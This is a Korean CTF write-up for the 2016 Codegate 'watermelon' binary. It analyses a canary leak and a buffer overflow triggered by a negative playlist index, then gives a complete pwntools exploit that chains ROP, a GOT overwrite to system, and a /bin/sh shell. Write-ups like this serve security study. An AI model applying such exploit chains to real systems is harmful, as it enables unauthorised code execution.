2016 Codegate watermelon

728x90

 

이부분은 뭐 딱히 없고 입력 받은 값에 따라서 알맞은 메뉴 출력

함수 main부분

PrintMenu에서 나온 반환 값을 가지고 알맞은 함수 호출

-1을 입력하면 히든 함수를 호출하고, 0~4까지는 정상적인 함수 호출

 

 

음악의 개수가 100개가 되면 더이상 추가를 하지 못한다.

이 함수에서는 딱히 취약점이 보이지 않는다. read함수에서도 0x15만큼의 적당한 값을 주어줌

리스트 보기

 

이 함수는 저장된 플레이리스트의 번호, 음악, 작곡가를 출력해주는데 printf로 출력을 해주기 때문에 카나리 릭이 가능. 그 이외에는 딱히 취약점 부분 없음

 

리스트 수정

가장 마지막의 read에서 bof 취약점이 발생

 

공격 시나리오

  1. 총 100개의 리스트를 만든다
  2. 리스트 수정 함수를 통해 카나리까지 값을 수정하고 리스트를 보는 함수를 이용하여 카나리를 릭
  3. 리스트 수정 함수를 통해 페이로드를 작성(Partial RELRO, NX BIT때문에 rop 가능)
  4. 메뉴에서 4를 입력하여 프로그램을 끝냄. 이때 ret를 통해 익스플로잇 진행이 됨

페이로드

  1. name 부분은 딱히 아무런 기능을 하지 않아 아무런 값 넣어줌
  2. 100개의 플레이 리스트 입력
  3. 어떤 플레이리스트를 수정하는 부분에서 음수에 대한 검증을 하지 않음. 이때 -1를 입력하면 카나리가 있는 부분에 값을 쓸 수가 있다.
  4. 카나리를 구할 준비가 되었으면 플레이리스트 보는 함수를 통해 100번째의 리스트에서 카나리 값을 구한다
  5. 리스트 수정 함수에서 100번째 리스트를 수정하는데 이때 payload를 작성해 넣어주고(canary leak+ rop)
  6. 4번. exit를 통해 릭 진행

그리고 바이너리만 주어졌으며 libc는 주어지지 않았다.

pwntools를 이용하여 system주소를 구하려고 했으나 둘다 보이지 않아, gdb에서 read함수와 system함수의 차(offset)을 구하여 read - offset = system으로 system 함수를 구하였다.

 

Exploit

from pwn import *
#context.log_level = 'debug'
target = './watermelon'

p = process(target)
e = ELF(target)
libc = ELF(target)

bss = e.bss() + 0x100
read_got = e.got['read']
pr = 0x08049a6b
pppr = 0x08048f0d
p.sendlineafter('name : ', "A"*8)

#Add Music 100 times
for i in range(100):
    p.sendlineafter('select	|', str(1))
    p.sendafter('\tmusic\t|\t', "B"*0x15)
    p.sendafter('\tartist\t|\t', "C"*0x15)

#Modify Music(canary leak)
p.sendlineafter('\tselect\t|\t\n', str(3))
p.sendlineafter('number\t|\t\n', str(-1))
p.sendafter('\tmusic\t|\t', "D"*0x14)
p.sendafter('\tartist\t|\t', "F"*16+"\x00")

p.sendlineafter('\tselect\t|\t\n', str(2))
p.recvuntil('100| ')
p.recv(0x30)
p.recv(0x13)

#leak canary
canary = u32(p.recv(3).rjust(4, "\x00")) # canary leak
log.info('canary : 0x%x', canary)

offset = 0xa9a80 # read - system(there's no system plt and offset)
payload = "D"*0x14
payload += p32(canary)
payload += "B"*12

#leak read_got
payload += p32(e.plt['write'])
payload += p32(pppr)
payload += p32(1)
payload += p32(e.got['read'])
payload += p32(4)

#input /bin/sh\x00 at bss
payload += p32(e.plt['read'])
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(8)

#input system addr at read_got(got overwrite)
payload += p32(e.plt['read'])
payload += p32(pppr)
payload += p32(0)
payload += p32(e.got['read'])
payload += p32(8)

#call system("/bin/sh\x00")
payload += p32(e.plt['read'])
payload += "A"*4
payload += p32(bss)

p.sendlineafter('\tselect\t|\t\n', str(3))
p.sendlineafter('number\t|\t\n', str(100))
p.sendafter('\tmusic\t|\t', "D"*8)
p.sendafter('\tartist\t|\t', payload)

p.sendlineafter('select', "4")
p.recvuntil('BYE BYE\n\n')

#leak read_god addr
leak_read = u32(p.recv(4))
log.info('leak_read : 0x%x' % leak_read)

#get system_addr -> read_addr - system_addr(get gdb) offset
system = leak_read - offset
log.info('system : 0x%x' % system)

p.send('/bin/sh\x00')
p.send(p32(system))
p.interactive()
```
728x90